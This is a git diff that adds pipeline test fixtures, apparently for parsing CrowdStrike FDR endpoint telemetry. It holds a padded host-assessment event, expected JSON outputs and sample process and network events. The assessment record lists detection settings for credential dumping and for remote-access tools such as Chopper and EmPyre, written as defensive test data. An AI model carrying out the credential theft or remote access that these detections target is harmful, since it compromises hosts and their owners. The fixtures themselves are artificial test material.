+{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
new file mode 100644
index 0000000000..58718e1ca4
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
@@ -0,0 +1,7 @@
+fields:
+  "@timestamp": "2020-04-28T11:07:58.223Z"
+  tags:
+    - preserve_original_event
+  _conf:
+    long_fields: delete_long_fields
+    long_fields_max_length: 1024
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
new file mode 100644
index 0000000000..7794bf947f
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
@@ -0,0 +1,80 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-10-01T09:58:32.519Z",
+            "crowdstrike": {
+                "EventType": "ZeroTrustHostAssessment",
+                "HostHiddenStatus": "VISIBLE",
+                "assessments": {
+                    "analytics_and_improvements_mac": "yes",
+                    "application_firewall_mac": "yes",
+                    "crendential_dumping_hash_mac": "yes",
+                    "crendential_dumping_kcpassword_mac": "yes",
+                    "crowdstrike_full_disk_access": "yes",
+                    "execution_blocking_custom_blocking_enabled_mac": "yes",
+                    "execution_blocking_intel_threats_enabled_mac": "yes",
+                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
+                    "file_vault_enabled_mac": "yes",
+                    "gatekeeper_mac": "yes",
+                    "internet_sharing_mac": "yes",
+                    "mac_os_version": "yes",
+                    "ml_adware_detection_mac": "yes",
+                    "ml_adware_prevention_mac": "yes",
+                    "ml_cloud_antimalware_detection_mac": "yes",
+                    "ml_cloud_antimalware_prevention_mac": "yes",
+                    "ml_sensor_adware_and_pup_detection_mac": "yes",
+                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
+                    "ml_sensor_antimalware_detection_mac": "yes",
+                    "ml_sensor_antimalware_prevention_mac": "yes",
+                    "quarantine_mac": "yes",
+                    "real_time_response_enabled_mac": "yes",
+                    "remote_login_mac": "yes",
+                    "script_based_execution_monitoring_mac": "yes",
+                    "sip_enabled_mac": "yes",
+                    "stealth_mode_mac": "no",
+                    "system_full_disk_access_mac": "no",
+                    "unauthorized_remote_access_chopper_mac": "yes",
+                    "unauthorized_remote_access_empyre_mac": "yes",
+                    "unauthorized_remote_access_xpcom_mac": "yes"
+                },
+                "cid": "2222",
+                "os_version": "Sonoma (14)",
+                "product_type_desc": "Workstation",
+                "scores": {
+                    "modified_time": "2024-02-13T22:33:34.077Z",
+                    "os": 89,
+                    "overall": 97,
+                    "sensor": 100,
+                    "version": "3.8.1"
+                }
+            },
+            "device": {
+                "id": "1111"
+            },
+            "event": {
+                "created": "2020-10-01T09:58:32.519Z",
+                "id": "|1111|2222",
+                "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
+            },
+            "host": {
+                "hostname": "example-XXXXXXXXX",
+                "id": "1111",
+                "name": "example-XXXXXXXXX",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "observer": {
+                "serial_number": "1111"
+            },
+            "related": {
+                "hosts": [
+                    "example-XXXXXXXXX"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
new file mode 100644
index 0000000000..24929e164d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
@@ -0,0 +1 @@
+{"FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","aid":"1111","cid":"2222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
new file mode 100644
index 0000000000..087e1a7e76
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
@@ -0,0 +1,6 @@
+fields:
+  "@timestamp": "2020-04-28T11:07:58.223Z"
+  tags:
+    - preserve_original_event
+  _conf:
+    long_fields: index_long_fields
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
new file mode 100644
index 0000000000..4bb54daa38
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
@@ -0,0 +1,81 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-10-01T09:58:32.519Z",
+            "crowdstrike": {
+                "EventType": "ZeroTrustHostAssessment",
+                "FileContent": "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
+                "HostHiddenStatus": "VISIBLE",
+                "assessments": {
+                    "analytics_and_improvements_mac": "yes",
+                    "application_firewall_mac": "yes",
+                    "crendential_dumping_hash_mac": "yes",
+                    "crendential_dumping_kcpassword_mac": "yes",
+                    "crowdstrike_full_disk_access": "yes",
+                    "execution_blocking_custom_blocking_enabled_mac": "yes",
+                    "execution_blocking_intel_threats_enabled_mac": "yes",
+                    "execution_blocking_suspicious_processes_enabled_mac": "yes",
+                    "file_vault_enabled_mac": "yes",
+                    "gatekeeper_mac": "yes",
+                    "internet_sharing_mac": "yes",
+                    "mac_os_version": "yes",
+                    "ml_adware_detection_mac": "yes",
+                    "ml_adware_prevention_mac": "yes",
+                    "ml_cloud_antimalware_detection_mac": "yes",
+                    "ml_cloud_antimalware_prevention_mac": "yes",
+                    "ml_sensor_adware_and_pup_detection_mac": "yes",
+                    "ml_sensor_adware_and_pup_prevention_mac": "yes",
+                    "ml_sensor_antimalware_detection_mac": "yes",
+                    "ml_sensor_antimalware_prevention_mac": "yes",
+                    "quarantine_mac": "yes",
+                    "real_time_response_enabled_mac": "yes",
+                    "remote_login_mac": "yes",
+                    "script_based_execution_monitoring_mac": "yes",
+                    "sip_enabled_mac": "yes",
+                    "stealth_mode_mac": "no",
+                    "system_full_disk_access_mac": "no",
+                    "unauthorized_remote_access_chopper_mac": "yes",
+                    "unauthorized_remote_access_empyre_mac": "yes",
+                    "unauthorized_remote_access_xpcom_mac": "yes"
+                },
+                "cid": "2222",
+                "os_version": "Sonoma (14)",
+                "product_type_desc": "Workstation",
+                "scores": {
+                    "modified_time": "2024-02-13T22:33:34.077Z",
+                    "os": 89,
+                    "overall": 97,
+                    "sensor": 100,
+                    "version": "3.8.1"
+                }
+            },
+            "device": {
+                "id": "1111"
+            },
+            "event": {
+                "created": "2020-10-01T09:58:32.519Z",
+                "id": "|1111|2222",
+                "original": "{\"FileContent\": \"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\",\"aid\":\"1111\",\"cid\":\"2222\",\"hostname\":\"example-XXXXXXXXX\",\"os_version\":\"Sonoma (14)\",\"product_name\":\"\",\"product_type_desc\":\"Workstation\",\"host_hidden_status\":\"VISIBLE\",\"event_platform\":\"Mac\",\"scores\":{\"os\":89,\"sensor\":100,\"overall\":97,\"version\":\"3.8.1\",\"modified_time\":\"2024-02-13T22:33:34.077075097Z\"},\"assessments\":{\"analytics_and_improvements_mac\":\"yes\",\"application_firewall_mac\":\"yes\",\"crendential_dumping_hash_mac\":\"yes\",\"crendential_dumping_kcpassword_mac\":\"yes\",\"crowdstrike_full_disk_access\":\"yes\",\"execution_blocking_custom_blocking_enabled_mac\":\"yes\",\"execution_blocking_intel_threats_enabled_mac\":\"yes\",\"execution_blocking_suspicious_processes_enabled_mac\":\"yes\",\"file_vault_enabled_mac\":\"yes\",\"gatekeeper_mac\":\"yes\",\"internet_sharing_mac\":\"yes\",\"mac_os_version\":\"yes\",\"ml_adware_detection_mac\":\"yes\",\"ml_adware_prevention_mac\":\"yes\",\"ml_cloud_antimalware_detection_mac\":\"yes\",\"ml_cloud_antimalware_prevention_mac\":\"yes\",\"ml_sensor_adware_and_pup_detection_mac\":\"yes\",\"ml_sensor_adware_and_pup_prevention_mac\":\"yes\",\"ml_sensor_antimalware_detection_mac\":\"yes\",\"ml_sensor_antimalware_prevention_mac\":\"yes\",\"quarantine_mac\":\"yes\",\"real_time_response_enabled_mac\":\"yes\",\"remote_login_mac\":\"yes\",\"script_based_execution_monitoring_mac\":\"yes\",\"sip_enabled_mac\":\"yes\",\"stealth_mode_mac\":\"no\",\"system_full_disk_access_mac\":\"no\",\"unauthorized_remote_access_chopper_mac\":\"yes\",\"unauthorized_remote_access_empyre_mac\":\"yes\",\"unauthorized_remote_access_xpcom_mac\":\"yes\"},\"event_type\":\"ZeroTrustHostAssessment\",\"timestamp\":\"1601546312519\"}"
+            },
+            "host": {
+                "hostname": "example-XXXXXXXXX",
+                "id": "1111",
+                "name": "example-XXXXXXXXX",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "observer": {
+                "serial_number": "1111"
+            },
+            "related": {
+                "hosts": [
+                    "example-XXXXXXXXX"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
new file mode 100644
index 0000000000..c3de03a23b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
@@ -0,0 +1,138 @@
+{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n        feature_name: FEATURE_NAME,\n        variants: [FEATURE_VARIANT],\n      )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"MachOSubType":"1","ParentProcessId":"362213307092004097","SourceProcessId":"362213307092004097","aip":"67.43.156.14","SessionProcessId":"362213307092004097","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Mac","ProcessEndTime":"","SVUID":"0","ParentBaseFileName":"launchd","id":"ffffffff-1111-11eb-a9ce-02e9216bdbcb","EffectiveTransmissionClass":"2","timestamp":"1625677502500","ProcessGroupId":"362213307092004097","event_simpleName":"ProcessRollup2","RawProcessId":"56254","GID":"0","ConfigStateHash":"1620585913","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"xpcproxy com.apple.mdworker.shared.01000000-0600-0000-0000-000000000000","TargetProcessId":"363276350115996101","ImageFileName":"/usr/libexec/xpcproxy","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2MacV5","RUID":"0","ProcessStartTime":"1625677502.233","aid":"ffffffff8be84591864008eb2e484920","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1625677504.982","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307488247882","RemotePort":"53","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"39920","Entitlements":"15","name":"NetworkReceiveAcceptIP4LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","RemoteAddressIP4":"67.43.156.14","ConnectionDirection":"1","InContext":"0","timestamp":"1625677505511","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"RawBindIP4","ContextTimeStamp":"1625677521.866","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"362579458925546303","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"53","Entitlements":"15","name":"RawBindIP4MacV10","id":"ffffffff-1111-11eb-81d4-0282ad9ac82d","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff01fc49949cf06bf0bce3c010","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677522009","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677523.901","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP4":"127.0.0.1","ConfigStateHash":"3090255842","ConnectionFlags":"0","ContextProcessId":"364783686797112486","RemotePort":"50626","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"0","Entitlements":"15","name":"NetworkConnectIP6MacV10","id":"ffffffff-1111-11eb-97c6-02fd02aca859","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff083845f68a7de3d95cb34361","ConnectionDirection":"0","InContext":"0","timestamp":"1625677524048","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ParentProcessId":"38911774195823","SourceProcessId":"38911774195823","aip":"67.43.156.14","SessionProcessId":"38911772846634","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1625677535.102","SVUID":"114","ParentBaseFileName":"bash","id":"ffffffff-1111-11eb-bad4-02690d039c6b","EffectiveTransmissionClass":"2","timestamp":"1625677535482","ProcessGroupId":"9277112078","event_simpleName":"ProcessRollup2","RawProcessId":"73249","GID":"119","ConfigStateHash":"1284133626","SVGID":"119","MD5HashData":"29037cef466fa57f03bd1b2a092c47a4","SHA256HashData":"a4f11f04df7aa3ac611dcbdb3e3d934a8f0523ea17b0a41a1809c380efd2d112","ConfigBuild":"1007.8.0010912.1","UID":"114","CommandLine":"pgbackrest --stanza\u003dmain archive-get 000000020004D51F0000009F pg_wal/RECOVERYXLOG","TargetProcessId":"38911778380590","ImageFileName":"/usr/bin/pgbackrest","RGID":"119","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV6","RUID":"114","ProcessStartTime":"1625677535.068","aid":"ffffffffcf45409f87ed463b40c368ec","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1625677503.713","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"17307455014463","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"41952","Entitlements":"15","name":"NetworkConnectIP6LinV5","id":"ffffffff-1111-11eb-9d7c-02e8a46f51a5","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff5a2e420c99f6b6d3a5d9de9b","ConnectionDirection":"0","InContext":"0","timestamp":"1625677503947","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
